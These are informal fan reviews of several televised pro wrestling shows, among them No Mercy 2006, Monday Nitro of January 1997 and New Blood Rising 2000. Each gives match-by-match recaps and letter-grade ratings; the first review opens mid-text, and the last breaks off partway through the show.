Stacy is at WWF New York and we get clips of her shaving her legs in a bath.

US Title: Rhyno vs. Tajiri

Tajiri is champion. JR doesn’t get how Tajiri can date an Alliance chick in Torrie. Common sense never was Ross’ strong suit. Tajiri fires off some kicks and chops but the fans don’t care. To be fair this is a filler match between the Rock match and Austin vs. Angle. Rhyno gets in a shot and we hit the chinlock. Big spinebuster gets two. Rhyno goes after Torrie and loads up a Gore but Tajiri kicks him HARD in the face to break it up. Tornado DDT is countered so there’s an Octopus Hold and an attempted Tarantula. Buzzsaw Kick misses and a suplex sets up the Gore to give Rhyno the title.

Rating: D+. This was nothing but it wasn’t that awful. It needed to be on Smackdown as far as quality but at the same time it did let them have a buffer between the title matches which is a good idea. Also it’s not like there was much to see here so a nacho break was a good idea. Why did Tajiri want to fight here though?

We recap Austin vs. Angle. Austin couldn’t beat Angle at Summerslam and Angle kicked out of three Stunners. They kind of stalked each other and Austin stole the medals, throwing them in a river. Angle retaliated by taking a lead pipe and blasting Austin in the back of the head with it in Austin’s new truck. Austin was fine because it’s just a world class athlete hitting you in the back of the head with a lead pipe on an adrenaline rush. Nothing serious there.

He then blindfolded Austin and threatened to throw him in a river if Austin didn’t cry. In a funny bit Angle shoved him into a kid’s pool to make him think he was in a river. This resulted in Austin shoving him off a stage and injuring his neck. Angle gave an incredibly cool promo, ripping off his neck brace and saying that Austin knows that Angle can beat him. Check that promo out if you can find it.

WWF World Title: Kurt Angle vs. Steve Austin

Angle gets the hometown boy pop and Fink milks it perfectly. “From PITTSBURGH PENNSYLVANIA!” Angle meets him on the ramp and here we go. Austin is hammered down and Angle is all fired up. The champ is all afraid to try the Stunner because either it won’t work or the kick to set it up could result in an ankle lock. Angle hits a Thesz Press and hammers away in the corner.

We head to the floor and Austin is reeling. Austin blocks a superplex but Kurt is like oh yes you are going and hits it on the second attempt. Austin grabs a sleeper but gets countered by a jawbreaker. He tries to leave with the title but Angle catches up to him and throws Austin off the ramp just like Austin did to him a few weeks ago. Angle puts him against the railing and pounds him down with punches and chops.

Kurt picks Austin up and carries him back to the ring, ramming him into the post. We’re seven minutes into this and it’s been 95% Angle. He stops to peel back the mats and Austin gets a knee to the back to take over. Piledriver on the floor doesn’t work and Austin is cut above the eye. Angle chops away and tries an Olympic piledriver but is backdropped as well.

Angle tries a suplex out there but Austin reverses and drops him onto the table. He does it again and the table is sturdy. Here’s a third try and it STILL doesn’t break. That’s a good table! Austin drives knees to the neck back inside. He talks trash to Kurt’s family in the front row which is why he’s a great heel: he knows how to get a crowd riled up which so few people today know how to do.

Off to the chinlock and I’m cool with that as they’ve been going hard for almost 15 minutes. Austin pounds on the back but gets caught in the Germans. It’s just three this time but Kurt is holding his neck. Austin tries a super belly to back but Kurt reverses into a bad looking cross body for two.

Release spinebuster puts Angle down and Austin kicks him in the little Olympians. The referee is shoved so Angle kicks Austin low to even things up. A DDT sends Austin to the floor and we’re running out of time. This has been pretty good but it’s certainly no classic. Back in Angle stuns Austin for two. Austin hits a belly to back suplex called the Angle Slam. I mean he didn’t even try to change it. A piledriver gets a close two and Austin is getting mad. He loads up the Stunner but Angle grabs the boot and the ankle lock gives Angle the title.

Rating: B. The match was certainly good but it’s not on the level I think they were hoping for. It never quite hit that level of intensity and violence and Angle’s neck injury didn’t quite live up to the amount of intensity that I think it was supposed to. Definitely good though, just not a classic.

Angle’s family comes in for the huge celebration post match. The WWF comes in too and it’s a huge party. He would lose the title in 15 days so this doesn’t mean much long term. Still though it’s a very cool moment here.

Overall Rating: B. This was a good bit above last year’s show and the length of the matches help it. The Alliance Era wasn’t kind though and the future of a ton of title matches on every show proves to be a coming problem. Angle winning the title was a cool moment but Rock is a world champion also. It kind of deflates it a bit no? Still though, fun show and one of the better ones of this era.

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No Mercy 2006: A Nicely Hidden Almost Gem

No Mercy 2006
Date: October 8, 2006
Location: RBC Center, Raleigh, North Carolina
Attendance: 9,000
Commentators: Michael Cole, John Bradshaw Layfield

It’s back to the WWE PPVs and it’s a Smackdown show with Booker defending. This is hardly an exciting looking main event with Booker defending against Finlay, Lashley and Batista. Other than that we have the debut of MVP against a jobber and Kennedy vs. Undertaker in what I’m sure is going to be a thriller. Let’s get to it.

The opening video is about the main event with Booker talking about how he’s going to reign forever on Smackdown. The announcers talking about how screwed Booker is might as well be putting a big stamp on the show saying BOOKER RETAINS.

The pyro seems exceptionally better for some reason.

Matt Hardy vs. Gregory Helms

This feud went on for a long time. Both guys are from North Carolina so there really isn’t a crowd favorite. Helms is the Cruiserweight Champion so facing a heavyweight is supposed to be a big deal for him. Helms literally is the hometown boy as he’s billed from Raleigh. He won the first match via a low blow and Matt won the second one the same way. Matt uses his weight to take him down with a shoulder and they stare at each other.

Helms goes after the arm which doesn’t work but the second attempt works. A kick to the back gives Helms the advantage and by shouting THIS IS MY HOUSE, he becomes the crowd favorite. Matt comes back with a suplex and clotheslines Helms to the floor. Pescado follows up and Cole screws up by saying TLC 2 was six years ago in this build. Back in and Matt gets dropped on the top buckle and a backbreaker gets two.

Something like a Codebreaker gets the same. Off to an arm trap chinlock but Matt fights up and hits a reverse DDT for two. They slug it out and Matt clotheslines him down for two. Middle rope legdrop gets two. Twist of Fate is loaded up but Helms counters with a weird belly to belly suplex/Eye of the Hurricane combo for two. He hits the same move again and gets the same result. A third one lets him go to the top but he jumps into a punch.

Side Effect gets two. Another Side Effect hits and a release Rock Bottom sets up the moonsault but it lands on knees. Shining Wizard misses but a second attempt hits for two. This is getting really good. Hardy goes up but gets crotched, allowing Helms to hit some weird kick off the top which looked like it missed. That only gets two so Helms tries the Eye of the Hurricane but Matt counters it into the Twist of Fate and it’s finally over.

Rating: B. Good opening match here with both guys showing off for their hometown crowd. It’s amazing what happens when you give guys like these two almost fifteen minutes and let them have some fun. Matt looked good and motivated which is definitely his biggest flaw most of the time. Well that and the fact that he’s insane. Good stuff.

Sharmell tries to calm down Booker as he’s nervous about the main event. Regal comes in and Booker says his services are needed more than ever. Booker says he’s against three dragons and can’t even trust his own knight Finlay. Regal says he’s in for whatever Booker needs. Booker wants Finlay to lay down and wants Regal to talk him into it.

Smackdown Tag Titles: Brian Kendrick/Paul London vs. Teacher’s Pets

The Pets are managed by Michelle McCool and are K.C. James and Idol Stevens. Stevens is now known as Damien Sandow who is currently about to debut on Smackdown. The champs have Ashley Massaro with them. Stevens and London start things off and down goes Stevens to a rana. Off to Kendrick as they’re moving incredibly fast here with some Motor City Machineguns kind of stuff. Top rope cross body gets two.

The champions take over and it’s off to K.C. He has less success than his partner and is sent to the floor. Back to Stevens who is thrown right back to the floor. Stereo dives take the challengers out but McCool interferes to knock London off the top. Stevens misses a legdrop back in the ring so it’s back to James with a knee to the back for two. Chinlock goes on and then a modified abdominal stretch.

London fights out of that too and the heels do some pretty weak double teaming to keep him in the match. This isn’t a very interesting match as the challengers are really not that good. Case in point, London easily takes them both down but Stevens manages to break up the tag. The second time though Paul makes them look like idiots again and makes the tag to Brian.

JBL is talking about demolition derbies with Chinese acrobats for some reason. London hits a suicide dive to take out Stevens and James hits a superplex for two on Kendrick. Back in the ring more more heel miscommunication leads to Kendrick hitting a tornado DDT for two. Stevens hits Kendrick with a backbreaker after McCool offers a distraction, getting two. The girls get into a fight as London launches Kendrick into a double dropkick to take out both of them. Sliced Bread sets up a Poetry In Motion into a Shooting Star from London for the pin on Stevens.

Rating: C. It’s not a bad match but it was just kind of there. The tag division was incredibly weak at this point as you can tell with people like Stevens and James getting a title match. They weren’t ready for this spot and it was painfully obvious that it was the case. McCool would go on to be a much bigger star than either of them.

Marine trailer kills some time because the premiere is Friday.

Regal is trying to find Finlay but finds Vito in a dress. He runs off and falls into a bunch of ketchup and mustard which was there for him to fall into.

Here’s Teddy and there’s a massive birthday present in the ring, as in it comes up to Teddy’s ears. Today is the birthday of……The Miz! He’s undefeated at this point and has earned a celebration. There’s cake too. JBL is going off on Miz and it’s hilarious. Miz does the HOO RAH thing and the fans seem into it. Teddy says Miz has been hitting on Layla lately so here she is to celebrate with him. She’s in a robe which clearly has lingerie under it. This is the curly haired and therefore much hotter Layla.

His birthday wish is for her, but she stops him and says chair please. Miz: GET HER A CHAIR!!! She sits him down and he gives commentary on her blowing in his ear. She asks for some music and JBL is losing it. There goes the robe and dang she looks good. She blindfolds him and he asks for whips and chains. The present gets opened up and it’s Big Dick Johnson in a thong of course. I think they did this on ECW as well. I’m sure the people that bought the PPV are SO glad they paid for this too.

Buy the Vince DVD. No seriously, that thing is hilarious.

MVP vs. Marty Garner

This is MVP’s in ring debut and Garner is a jobber from OMEGA and some indies. He was occasionally in WWF as a jobber. JBL hates MVP and rips him apart through his short promo. The fans chant Power Ranger. MVP slaps him down before the match starts and JBL is cracking me up as he insults MVP. Garner gets in a right hand and JBL turns into a cheerleader. MVP is in blue which JBL calls blueberry bling. The Play of the Day or whatever he called his finisher gets the pin. Total squash. Again, I’m sure the people that bought the PPV are SO glad they paid for this too.

Regal gets out of the shower as does Vito. Regal drops his towel and he runs down the hall, into Teddy Long. Teddy thinks that Regal has so much time so he can have a match with Benoit. Gee, good thing they didn’t advertise two of the best technical guys ever having a match. People might have paid to see it.

We recap Kennedy vs. Undertaker. Kennedy: “You’re old, I’m new, those mind games won’t work on me, let’s fight.” That took two minutes to explain.

Mr. Kennedy vs. Undertaker

Kennedy is US Champion but that title is underneath Undertaker so this is non-title. Speed vs. power here as Undertaker throws him into the corner but Kennedy escapes. BIG boot takes Kennedy’s head off and it’s time for arm work. Out to the floor and Kennedy’s arm goes into the steps before it’s back inside the square circle. Wristlock is broken up so it’s back to the floor with Kennedy’s arm eating post again.

A boot to the shoulder keeps Kennedy in trouble and now it’s Old School time. Kennedy manages to armdrag him off the top and both guys are down. Kennedy pounds him in the corner but Taker snaps up and hits Old School for two. A running big boot in the corner misses and Taker is knocked into the barricade. Kennedy tries to dive off the apron but gets caught and rammed into the post. He hasn’t been able to get any kind of extended advantage at all for more than about 10 seconds.

Back in the ring and Kennedy pulls Taker through the ropes to get himself a breather. Kennedy drills him coming back in, getting two. The running hip attack to the guy that is on the middle rope gets two. The move Ryder calls the Broski Boot hits and Taker is in trouble. Taker fights up from his knees and knocks Kennedy to the floor. The legdrop across the apron connects.

Back in Kennedy hits a perfectly regular piledriver which Cole calls a Tombstone. It gets two and JBL says he’s speechless. WHY IS SOMEONE PILEDRIVING UNDERTAKER A BIG DEAL??? Cole freaks over it every time when ONLY Kane has had success with it. They even show replays of it. Back at Mania in 2011 they FREAKED when HHH hit one. I don’t get it.

Kennedy hooks a rear naked choke but Taker comes out of it with a Saito Suplex. Slugout is won by Taker with the flying clothesline. Snake Eyes is followed by the big boot and leg, but it only gets two brother. Chokeslam is countered and Kennedy hits a swinging neckbreaker for two. A high kick is ducked and there’s the chokeslam but no cover.

Last Ride is countered and they almost run into the referee. A buckle was exposed somewhere during this match and Kennedy rams Taker into it, followed by a clothesline to take him down. Kenton Bomb gets two so Kennedy is going to walk. Taker grabs the belt and hits him with it for the freaking LAME DQ.

Rating: B-. This was getting REALLY good at the end and then they screw it up with something like that. I mean, at least make it for the belt to make it worth something before you do something that annoying. Taker was actually feeling it tonight to the point that you might have thought Kennedy could pull off the huge upset. Good stuff here until the ending.

Taker destroys Kennedy and the referee post match. Both guys get tombstoned.

Cyber Sunday ad.

We recap Rey vs. Chavo Part 9000. Chavo cost Rey the title at the Bash because he claimed Rey was making a career off the Guerrero name. Well yeah, what’s your point? Vickie sided with Chavo too. Dominic was involved in this somehow too but he didn’t mean much.

Rey Mysterio vs. Chavo Guerrero

This is falls count anywhere. The idea at the start is that Chavo is trying to win and Rey is trying to pound on Chavo. They go to the corner and it looks like Chavo is trying to powerbomb him off the top to the floor. Rey knocks him off but falls down as well. A dropkick to the side of Chavo’s head puts him down but Chavo comes back with forearms. They go up to the entrance and Chavo tries another powerbomb but Rey grabs the bottom of the set to escape.

While still holding on he hooks a rana to send Chavo into the steel for two. They fight into the empty space on the right of the stage and Rey goes into the hockey boards. Chavo sends him into the barricade in front of the fans and Rey jumps over it to give himself a breather. Chavo goes into the railing and Rey drops a leg on his back for two. Rey tries the wheelbarrow bulldog but Guerrero counters and rams him into the boards for two instead.

They fight up the steps in the crowd with Chavo in control. Rey comes back with some kicks to the ribs and Chavo goes down. He knocks Chavo over the boards and back to the floor level seats. A seated senton takes Chavo down but since he can’t follow up, Guerrero is able to clothesline him down. Rey gets thrown into some chairs and they go to a set of steps into the upper stands. Rey uses the railing for a 619 to put Chavo down and a cross body off said railing gets three.

Rating: B-. Good match here as the brawling was working with the style match they had. This feud went on for awhile longer until I think Rey had to take time off for a knee injury. I might have to be more specific on that so it was the one in 2006. I might have to be more specific than that, but you get the idea. Anyway, this match was good as it felt more like a fight, which was supposed to be the idea.

Clip from the Marine premiere at a military base.

William Regal vs. Chris Benoit

Big pop for Benoit. This is Benoit’s return from an injury. Technical stuff (duh) to start and they head to the mat. They fight over a top wristlock and Regal gets a test of strength grip and Benoit fights up to take over. Regal gets taken to the mat with one as well but he bridges off the mat and nips up. Some very technical stuff here which isn’t the most interesting stuff but it’s awesome if that’s your thing.

Benoit comes back with a HARD chop and headbutts so hard that you can hear the thud. Swan Dive misses and both guys are busted open. The Canadian tries a German on the Englishman but Regal escapes to the apron. Benoit tries another German to the floor but Regal elbows him to the floor. Regal knees him in the head back inside but Benoit picks the leg for a Sharpshooter attempt.

Regal breaks that up and fires away some more. Off to a dragon sleeper head grip while the rest of Benoit’s body is in an abdominal stretch position. That’s pretty awesome. Benoit escapes to the corner where he chops the open cut on Regal’s head. GEEZ that’s awesome for some reason. Regal suplexes him down and a knee drop gets two.

Benoit hooks a Fujiwara Armbar but Regal makes the rope and KICKS HIM IN THE FACE for two. Regal hooks a surfboard but bends Benoit back into a dragon sleeper grip. These holds are awesome. Benoit rolls out of something and goes old school with the dragon suplex (old finisher). He fights into the Crossface and Regal has to tap.

Rating: B+. You give these guys seven or eight more minutes and it’s the match of the year EASILY. This is my kind of match right here: the technical clinic with the hard brawling thrown in. I love this kind of stuff and these are probably two of the best ever at it. These two had some masterpieces, including one on freaking Velocity of all shows. They know some freaking awesome holds to put on people and make them scream and this was no exception. Great match.

JBL is already wanting Benoit to hurt MVP.

Regal comes into the back and Booker asks if he found Finlay. Regal explains his day and Booker doesn’t want to hear it. Booker breaking between his usual talk and his royal stuff is pretty awesome. Finlay pops up and says he’s here to fight and win the title, not lay down. Booker says oh yes you will and gets drilled.

We recap the world title match. Basically Booker is champion so here are three challenges to face him at once so we can validate his reign. All three challenges beat Booker up so he has NO CHANCE right? This match was made on Smackdown before the show I believe.

Lashley (no reaction) is getting taped up when Batista (POP) comes in. They imply they’ll fight if need be.

Smackdown World Title: Booker T vs. Lashley vs. Finlay vs. Batista

No tagging here. Cole talks about the numbers and JBL replies with this gem. JBL: “QUIT WITH THE MATH!!! I count money idiot!” Batista goes after Booker as Finlay throws Lashley to the floor. Finlay hooks up with Booker as Cole keeps talking about percentages. Lashley back in now and he throws Finlay to the floor. Batista is down in the corner. Spinebuster gets two on Booker.

Finlay pulls Lashley to the floor and a double teaming begins. Back in and the double team is on Batista until Finlay double crossed Booker. JBL freaking out is great but Cole is just awful at giving him stuff to play off. We’re down to Finlay vs. Booker with the pale one taking over. Lashley tries to get in but Finlay casually knocks him away. Booker is knocked to the floor so Finlay works on Big Dave’s arm.

Batista hits a Samoan Drop but Finlay hangs on. Cool. Lashley comes in but Finlay takes him down too. Cole calls Finlay Lashley because they look so much alike. Half crab to Lashley but Booker superkicks Finlay down for two. Booker takes Batista down with another sweet kick for two. Big Dave sideslams him down for two. Their one on one match is over as Lashley clotheslines Booker to the floor.

Finlay brings in a chair but Lashley kicks it away. Horny comes in to low blow Lashley and the club to the head gets two for Finlay as Booker saves. Everyone gets in for a bit and Batista hits a Jackhammer to take Finlay out so it’s face vs. face. Batista is like screw fighting and spears him down for two. Lashley comes back and somewhere (even Cole isn’t sure where) Batista gets his head busted open.

Batista gets thrown to the floor as does Finlay but Booker comes in with a Bookend for two. Just the two of them in the ring now and Bobby counters a suplex for two. Booker doesn’t know what to do here so he takes his hair down. Finlay breaks up the ax kick and gets two. Batista hits spinebusters on everyone and a Batista Bomb to Finlay. Lashley spears him for no apparent reason, allowing Booker to steal the pin on Finlay.

Rating: B-. Not bad here at all with the formula working pretty well. I like the four man matches much better than three man as you get more combinations out of it. Booker winning was obvious but it was still good enough at times. Finlay was really impressive here as he ran most of the match, which is what he’s great for.

Overall Rating: B. This was a very pleasant surprise. It’s not a great show or anything but if you had three hours to kill, you’d be pleased with this one. Nothing on it is must see or anything, but for a total throwaway PPV it wasn’t bad at all. It’s no classic or anything, but if you’ve got time and are curious, check this one out.

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Monday Nitro – January 20, 1997: The Biggest Crowd In Chicago To See Wrestling In Three Weeks!

Monday Nitro #71
Date: January 20, 1997
Location: United Center, Chicago, Illinois
Attendance: 17,000
Commentators: Tony Schiavone, Bobby Heenan, Larry Zbyzsko, Mike Tenay

Back to WCW after a lengthy absence. This is the go home show for Souled Out which is one of the most different kinds of PPVs you’ll ever see. This is also probably the biggest crowd I can remember for a Nitro up to this point. They’re up north here in Chicago which is a city that was pretty popular for them back in the old NWA days. Nothing on the card seems significant but there are ten matches to get through. Let’s get to it.

This is also the show before the next to last Clash of the Champions, which was held on Tuesday.

We open immediately with Randy Savage storming the ring with a chair. This is his first appearance since Halloween Havoc. He says he’s been blackballed and he’s not going anywhere until he talks to someone with some stroke. Savage sits down and says he’s waiting. Chavo Guerrero is in the first match so here he comes. Tony says they’re going to try to start the match with Savage in the ring.

Chavo slowly gets in and stares at Savage but Savage waves him off. This goes on for a few minutes with Savage not listening to what Chavo says. After almost seven minutes the fans are booing. Savage gets up and lays out Guerrero, sending him over the top and out. Back to the chair. Now a guy named Max, the opponent for Chavo, comes out now. Savage decks him and Max falls to the floor. There goes the referee too. Doug Dillinger comes in and down he goes as well. Alex Wright comes in and he gets punched. Savage is on his feet and holding the chair now.

An army of guys comes out to get him out but Sting repels from the rafters (I think for the first time) in front of the Chicago Bulls banners and walks slowly towards the ring with the bat. He points the bat at Savage and puts it under his chin. Savage jumps up and Sting shoves him away a few times. Savage looks to charge at him but Sting pulls the bat back. Sting hands him the bat and turns his back on him but Savage doesn’t swing. Sting takes it back and they both leave through the crowd. Tony immediately thinks this means they’re both NWO because…..I have no idea.

Here’s a clip from December of Chono joining the NWO and another of him beating up Jericho later that night. They have a rematch on Saturday.

Alex Wright vs. Chris Jericho

No entrance for either guy. Wright armdrags him to start and they chop it out but Jericho runs into a big boot. They trade rollups and Jericho rolls forward out of a German suplex for a fast pin. That’s the same finish he used on the last Raw from 2001 I reviewed. Quick match and Wright’s arm was about six inches off the mat, but other than that it was fine.

Scotty Riggs vs. NWO Sting

Sting does a really bad shout and Riggs jumps him to a big pop. Jumping back elbow and some dropkicks put Sting down. Riggs walks into a hot shot though and Sting takes over. After a quick beating Riggs escapes and hits a missile dropkick but here’s Buff. Riggs hits his forearm but the NWO runs out which is a DQ despite the NWO not touching him. Too short to rate but it was there for the ending and to set up Buff vs. Scotty on Saturday. The NWO makes Penzer say Sting won by countout, which would seem to be correct.

We get a clip of Flair at a hockey team talking to an enforcer for the Chicago Blackhawks. They have a gave on the road tonight so he can’t be here tonight.

Arn Anderson/Steve McMichael vs. Jeff Jarrett/Eddie Guerrero

If that was Benoit instead of McMichael this could be a classic. To be fair though Mongo is a Chicago guy so it makes perfect sense for him to be here. Tony brags about how this is the biggest crowd to see a wrestling event in Chicago this year. Check the date on this show and you’ll see why I rolled my eyes. Also there was this show called Wrestlemania that broke that mark a few months later.

Jeff and Arn start us off with Jarrett being knocked to the floor almost immediately. He comes back with a top rope cross body for two and here’s Eddie, who is the US Champion but doesn’t have the belt. Mongo comes in to a big pop and runs over Eddie before gorilla pressing him. Eddie comes back with some speed stuff but gets backdropped to the floor. Arn comes in but it’s a hot (I guess?) tag to Eddie. He cleans house but runs off to chase Syxx (not that we see that but Tony tells us). Arn hits a spinebuster on Jeff and puts him in a Boston Crab as Mongo stomps on him. Debra throws in her sash and that counts for a submission.

Rating: C+. Stupid ending aside, this was a fun and fast paced match. When you won’t have Jeff as the heel world champion, he’s a pretty fun guy to watch. Eddie was flying all over the place as he is known to do and Anderson was his usual old self. This Horsemen story would only get worse though as Mongo and Jarrett would wind up feuding over the US Title all summer.

Here’s Flair to talk to the Horsemen. Benoit and Woman are here too. He says he’s still healing so he can get back in the ring but as he’s looking at the Horsemen, they’re not the unit they used to be. Arn and the old gang are cool, but it’s all turned around lately. Flair tells Mongo and Benoit to be Horsemen first and then go after the women. Mongo says he’s proud to be a Horseman and gets a huge pop. Debra starts talking and the crowd completely reverses. Benoit starts talking and the cheering continues. Mongo and Benoit get in another argument and Debra gets the last word about Woman, implying she’s fat.

We get a clip from Saturday Night with Eric talking about how much the NWO has taken over. It’s your usual NWO speech. Liz is filming so Eric pulls her to him and says the only things Savage wants are her and Eric’s hair.

Dean Malenko vs. Ultimo Dragon

The fans chant ECW for Dean as they start off fast. Dragon dropkicks him down but walks into a powerslam for two. They do the exact same sequence and Dean drops him with a brainbuster for two. About an hour into the show we hear the first mention of the Clash tomorrow night. Dean hooks the chinlock and things slow down a bit. Out to the floor and Dean gets sent into the barricade. Back inside they exchange rollups and Dean goes up. Dragon stops him though and the super rana only gets two. Dean tries a leg lock when he catches a kick but Dragon gets the rope. Dragon grabs the arm and La Majistral gets the pin.

Rating: C+. This was a fun and fast paced match as usual, but the shortness hurts it. Dragon was pretty solid against other cruiserweights but once they put him into the TV Title hunt he lost any interest the fans had in him. Granted that’s probably more because of the title than him. Dean would win the title from Dragon the next night at the Clash, making this match totally pointless.

Hour #2 begins and Tony is in a Blackhawks jersey.

We recap the opening segment by reshowing a lot of it.

TV Title: Steven Regal vs. Jacques Rougeau

Jacques does the national anthem bit before the match so I’d assume he’s supposed to be the heel here. Regal grabs the wrist to start and Jacques takes him down for some stomping. Regal comes back to stomp on Colonel Parker’s fingers so the Colonel comes in and accidentally hits his own man for the DQ. Another two minute match.

Lee Marshall’s road report wastes some time.

Kevin Sullivan vs. Chris Benoit

This is another match that happened as the Clash as well. Tomorrow’s is falls count anywhere at least so it’s not completely the same. Benoit jumps him in the aisle and they go into the crowd already which makes the match tomorrow completely pointless already. They fight into the men’s room because that’s what they did at Great American Bash 96 so they’re just going to keep doing the same match until everyone quits caring. Benoit has his fingers slammed in the door and Sullivan beats him down.

They head back into the arena with Sullivan knocking him down the stairs, which they would do again tomorrow night. This is almost spot for spot the same as tomorrow, which is a shortened version of the Bash match from 96. Sullivan throws a beer in Benoit’s face and Benoit drags him up the aisle.

They head into the ring and there’s the bell to start the match. Sullivan puts him in a quick Tree of Woe but Benoit falls out. Low blow slows Chris down and they hit heads. Woman pops up and Jimmy slides the bell in to Sullivan. The Swan Dive hits the bell and Sullivan gets the academic pin. No point in rating it but it was just trashy brawling.

Here’s the NWO and they’re coming to the announcers’ desk. Great, this again. It’s Bischoff, DiBiase and Nash this time.

Jim Duggan vs. Carl Oullett

Eric says that he’s put Chono on the card because he can. Also Hall has his first singles match on Nitro. Duggan knocks him around for a bit before Carl takes over….and here are the Steiners for some reason. Duggan uses the tape which is legal now and it gets the pin. Another mess.

We look at Starrcade where the Outsiders helped Eddie win the US Title because Page turned the NWO down. Page said he’d fix things and then we see him Diamond Cutting both Outsiders a week later.

Masahiro Chono vs. Dave Taylor

Nick Patrick is sent down from the announcers’ desk to referee this. Chono jumps Taylor and hits a quick reverse DDT. Taylor gets in some offense including a dropkick to the stomach and a middle rope double ax to send Chono to the floor. Back in the ring the atomic drop sets up the Mafia Kick and the STF ends this. Another quick match.

Booker T vs. Scott Hall

Booker doesn’t mean anything much so this isn’t going to be very competitive. Hall throws the toothpick in his face and hits his driving shoulders. Booker comes back with a hook kick and follows with some elbows but jumps into the fallaway slam. Hall loads up his belly to back superplex but gets knocked off. The top rope cross body gets a very slow count, resulting in an argument so that the Outsider’s Edge can get the pin.

Rating: D+. Nothing but a warmup for Hall here before he faces Luger tomorrow night. Booker didn’t mean anything yet so this would be like a big star facing Primo or Epico and not killing them in thirty seconds with one punch. The referee stuff is already played out though, so they’ll keep it up for at least four more months.

Call the NWO Hotline!

Lex Luger vs. Stevie Ray

Nick Patrick is referee here for no apparent reason. Ray jumps him in the corner and stomps him down but Lex comes back quickly. Stevie sends him to the floor and kicks him once before Luger comes back and Racks him easily. Short again.

Here’s Hogan for the last five minutes of the show. The fans in a big city of course love him. Make that three minutes after posing. Hogan talks about using his arms as wings for their jet to get into Chicago. He talks about how he’s going to beat up Giant on Saturday and now he’s talking about Giant’s Mama. Cue Giant but security stops him. Giant screams a lot to end the show.

Overall Rating: C+. This was one of those shows where it depends on your taste in wrestling. If you’re looking for good in ring action, this isn’t your show. If you’re looking for something where they’re moving at such a breakneck pace that you can’t really tell if it was good or bad, this is for you. They plugged almost everything at Souled Out so for a go home show, this was quite good. While the matches weren’t anything of note, they only ran about two minutes each so it’s hard to get annoyed with them. I’m not sure why the Clash needed to exist at this point because it was glossed over for the most part. Decent Nitro.

Here’s the Clash if you’re interested:

Here’s Souled Out if you’re interested:

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New Blood Rising – Russo’s Most Russorific Show

New Blood Rising
Date: August 13, 2000
Location: Pacific Coliseum, Vancouver, British Columbia, Canada
Attendance: 6,614
Commentators: Scott Hudson, Tony Schiavone, Mark Madden

So here it is. This right here is considered the show that is the be all and end all of Russo’s insanity. This show is so full of ridiculousness and twists and turns and swerves that you need a scorecard to keep up with it. The main event is a rematch of Jarrett vs. Booker. We also have an ROTC (Rip off the Camouflage), a Canadian Rules match and Judy Bagwell on a Forklift. Let’s get this over with.

The opening video is about Jarrett vs. Booker and Booker becoming more and more like the Rock by the week. Goldberg is a heel here too and is in a three way with Steiner and Nash. Madden says it’s going to be a trainwreck and he’s right.

Some “fans” say who they think will win the triple threat. No mention of the main event at all from them.

3 Count vs. Jung Dragons

This would open about 19 Thunders in a row. Tank Abbott is their Rikishi and dances with them. Ok to be fair, this was freaking hilarious. The only Dragon that is known is the masked one who would become Jamie Knoble. Three Count has one guy that meant nothing, Shannon Moore and Shane (Gregory) Helms. This is a double ladder match where the Dragons are trying to get a recording contract so 3 Count can’t record again and 3 Count is trying to get their gold record back.

You have to tag here and it’s a ladder match. They stack up a ladder in the corner and do a ton of stuff with that. Both teams hit a springboard Doomsday Device as this is a fun match but you can tell nothing is ever going to go anywhere. Noble does a HUGE dive off the ladder to the floor. Oh and Yang cut his hair and became the resident redneck on Smackdown. This isn’t bad but it’s certainly is entertaining.

And then 3 Count stops to dance. Jamie hits a nice rana and the other two hit a double splash off the ladders. Jamie gets the record but it’s not over yet. Abbott gets the record and we keep going a bit more. I’d love to hear the explanation to a record company that they lost their contract in a professional wrestling ladder match. Kaz and Helms sprint up the ladders but Abbott shoves both guys over. Karagis climbs up and gets the contract. Soon after Jamie would be unmasked and Karagis would team up to become a third team. Abbott leaves with the contract and record.

Rating: B. Solid stuff here although it made limited sense with the whole double prize thing but that’s WCW for you. These six guys would open just about every show there was without ever getting anywhere at all for it and while the matches were solid, people just got sick of seeing them. I know I did.

The Filthy Animals (Disco, Mysterio, Konnan, Juvy and Tygress) want to referee the tag title match, which already has 8 people in it. They stole the belts and will give them back in exchange for a title shot TOMORROW night on Nitro. Keep that in mind.

Great Muta vs. Ernest Miller

Yeah because this is worth paying to see. Muta of course has generic Asian music. The Filthy Animals guarantee Cat will win this which means interference of course. We’ve had interference in the first match already so why not go two for two? Muta works on the arm while Tony talks about how this isn’t about wrestling but about winning. I wonder how much of that line was real and how much was scripted.

Muta was one of those guys that came back every now and then and we were supposed to be impressed for no apparent reason. He never had a storyline of note other than he’s Great Muta so you should like him. And here comes Tygress for no apparent reason. Cat does nothing but kick and is dominating Muta. The far more talented guy gets an ankle hold and takes over.

The Moonsault misses though and Cat takes the mist. Tygress gets a chair shot to Muta for two. Fans are dead for this mind you. Cat kicks Muta a lot and then a spin kick ends it. This was totally pointless.

Rating: D. Tygress looked good. That’s about all this has going for it otherwise. Cat was a guy that they wanted to make into something but I have no idea why. Muta was a special attraction so they have him go down like this. It makes perfect sense right? This was just a way to kill time and it was just bad.

Buff Bagwell vs. Chris Kanyon

Yep it’s Judy Bagwell on a pole. Kanyon is still imitating DDP here which must make Madden cringe. Bagwell isn’t even on a pole but rather a forklift. Do you win by pin I suppose? Kanyon is POSITIVELY Kanyon here (Page’s book was Positively Page) and if he wins then Judy has to be his Kimberly. The fans chant USA in Canada. I guess WCW managed to lower intelligences that fast.

There isn’t a pole that they could get to hold up Judy. They start by fighting next to the forklift and we’re already in the audience. I don’t think the match has actually started yet. Kanyon does his usual good stuff as no one cares about this. Seriously there’s a woman on a forklift match. I can’t believe I’m watching this. Kanyon gets the turnbuckle pad off and the referee is just fine with it.

Kanyon could do some solid stuff in the ring if nothing else. He really was innovative. Madden gets on DDP of course. Does he owe Madden money or something? Kanyon works on the neck of Bagwell which was broken like a year ago. Bagwell gets a hot shot onto the exposed buckle for two. Kanyon Kutter gets two and here comes the real DDP…never mind it’s David Arquette.

He hits Bagwell in the back with a construction hat for two. Buff hits a double Blockbuster, which is a front flip neckbreaker off the middle rope on both guys, with Arquette just getting smashed in the face by a forearm instead of a neckbreaker. This ends it and Judy is saved off the forklift. Oh and this is sports entertainment, not wrestling. Kanyon hits the Kutter on Arquette after the match, getting cheered despite being a heel.

Rating: D+. As idiotic as this was, the wrestling was watchable I suppose. At this point you couldn’t treat WCW as realistic from a wrestling standpoint so this was about as good as the midcard stuff would get. For the rating I’m factoring out the whole insanity because it meant nothing anyway. I can’t believe they brought Arquette back AGAIN. This was somehow watchable and I don’t know why.

Lance Storm is here, getting a huge limo to bring him.

Goldberg might not be here because of a motorcycle accident. You can start writing the swerve now.

